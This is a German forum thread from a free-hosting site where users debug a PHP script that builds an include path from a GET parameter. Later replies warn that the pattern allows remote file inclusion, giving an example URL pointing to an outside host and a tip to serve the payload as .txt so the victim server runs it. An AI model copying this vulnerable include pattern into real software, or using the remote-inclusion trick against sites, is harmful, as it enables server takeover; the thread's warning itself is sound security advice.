kostenloser Webspace werbefrei: lima-city


PHP Fehlermeldung beim includen... [PHP & MYSQL]

lima-cityForumProgrammiersprachenPHP, MySQL & .htaccess

  1. Autor dieses Themas

    c****4

    Ich m?chte eine Datei includen:

    in den content hab ich folgendes geschrieben:

    $site = $_GET['src'] . ".php"; 
    
    if(file_exists($src)) { 
        include($src); 
    } else { 
      include('home.php'); 
    } 
    if(($_GET['src']))


    Aber als Fehlermeldung auf der HP kommt am Anfang:

    Warning: Failed opening '' for inclusion (include_path='.;c:\apache\php\pear') in c:\apache\htdocs\index.php on line 96


    Aber das includen von datein ?ber index.php?src=home geht wieder...


    Wo liegt der Fehler?!

    thx schon im vorraus!
    MfG
  2. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage


  3. Ich m?chte eine Datei includen:

    in den content hab ich folgendes geschrieben:

    $site = $_GET['src'] . ".php"; 
    
    if(file_exists($src)) { 
        include($src); 
    } else { 
      include('home.php'); 
    } 
    if(($_GET['src']))


    Aber als Fehlermeldung auf der HP kommt am Anfang:

    Warning: Failed opening '' for inclusion (include_path='.;c:\apache\php\pear') in c:\apache\htdocs\index.php on line 96


    Aber das includen von datein ?ber index.php?src=home geht wieder...


    Wo liegt der Fehler?!


    $site = $_GET['src'] . ".php"; 
    
    if(file_exists($site)) { 
        include($site); 
    } else { 
      include('home.php'); 
    } 
    if(($_GET['src']))


    H?ttest du aber sehen k?nnen. ;)

    Jens
  4. Es k?nnte aber auch daran liegen, dass $_GET['site'] gar keinen Inhalt hat. Dann w?rde $site den Wert '.php' zugewiesen bekommen.

    Besser ist also, vorher zu pr?fen, ob $_GET['site'] ?berhaupt definiert wurde:

    if( isset($_GET['site']) ) {
    // mach was sinnvolles
    }
    else {
    // Rumn?len
    }

    *nachtr?glich_einf?g*

    Mist! Mist! Mist!
    Ich meinte nat?rlich:

    Es k?nnte aber auch daran liegen, dass $_GET['src'] gar keinen Inhalt hat. Dann w?rde $site den Wert '.php' zugewiesen bekommen.

    Besser ist also, vorher zu pr?fen, ob $_GET['src'] ?berhaupt definiert wurde:

    if( isset($_GET['src']) ) {
    // mach was sinnvolles
    }
    else {
    // Rumn?len
    }

    Ich w?nschte, ich h?tte den IQ von jacr.^^

    Beitrag ge?ndert am 7.01.2006 21:13 von alopex

  5. Es k?nnte aber auch daran liegen, dass $_GET['site'] gar keinen Inhalt hat. Dann w?rde $site den Wert '.php' zugewiesen bekommen.

    Besser ist also, vorher zu pr?fen, ob $_GET['site'] ?berhaupt definiert wurde:

    if( isset($_GET['site']) ) {
    // mach was sinnvolles


    }
    else {
    // Rumn?len
    }


    Du hast v?llig recht.
    $_GET['site'] hat wohl sehr oft keine Wert.
    Sollte aber auch egal sein, da er ja $_GET['src'] benutzt. :biggrin:

    Sollte der Wert von $site gleich '.php' sein, dann wird er vermutlich home.php includen.
    Denn weder ein Verzeichniss noch eine Datei '.php' wird es vermutlich nicht geben.

    Das die Warnung gekommen ist liegt ja auch nur daran, dass der String '' war. Und das hat er als das aktuelle Verzeichniss interpretiert (welches es ja gibt). Allerdings gibt es keine Datei ''.

    Jens
  6. w*****d

    Ein kleiner Tipp am Rande w?re es, das ganze in einem Switch zu machen:


    switch($_GET['src'])
    {
    default:
    //mach das, was sein soll, wenn der wert irgendnen
    //unsinn ist
    break;

    case "blubberbl?di":
    //Wert ist eben Blubberl?di
    break;

    case "home":
    //Home....^^"
    break;
    }



    Damit ist es eifnacher und komfortabler.
  7. Hallo,
    Ich w?rde bei diesem Verfahren sehr aupassen! Wenn der Server so konfiguriert ist, das auch Includes von au?erhalb zugelassen werden, dann kann man die Page total leicht hacken.

    Ich m?sste nur den folgenden aufruf machen:
    index.php?src=http://meinedomain.de/hack

    Und ein PHP-Script, das alles mit deiner Page macht was ich will unter http://meinedomain.de/hack.php ablegen-.

    Verstehst du was ich meine?


    Gru?, Ou

  8. Hallo,
    Ich w?rde bei diesem Verfahren sehr aupassen! Wenn der Server so konfiguriert ist, das auch Includes von au?erhalb zugelassen werden, dann kann man die Page total leicht hacken.

    Ich m?sste nur den folgenden aufruf machen:
    index.php?src=http://meinedomain.de/hack

    Und ein PHP-Script, das alles mit deiner Page macht was ich will unter http://meinedomain.de/hack.php ablegen-.

    Verstehst du was ich meine?


    Gru?, Ou

    Man sollte lieber die Datei http://meinedomain.de/hack.txt erstellen. Dann wird sie nicht vom eigenen Server geparst, sondern erst vom dem Fremden, was man ja eingetlich erreichen will. ;-)

    Anmerkung :
    Alle Dateien die per "include ()" eingebunden werden, werden auch geparst.

    Ich habe dazu ein kleines einfaches Script geschrieben, was es dir erlaubt ohne gr??ere Kenntnisse trotzdem sicher zu arbeiten.
    http://www.lima-city.de/tutorials.php?m=show&id=1275

    MfG Lucas
  9. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

Dir gefällt dieses Thema?

Über lima-city

Login zum Webhosting ohne Werbung!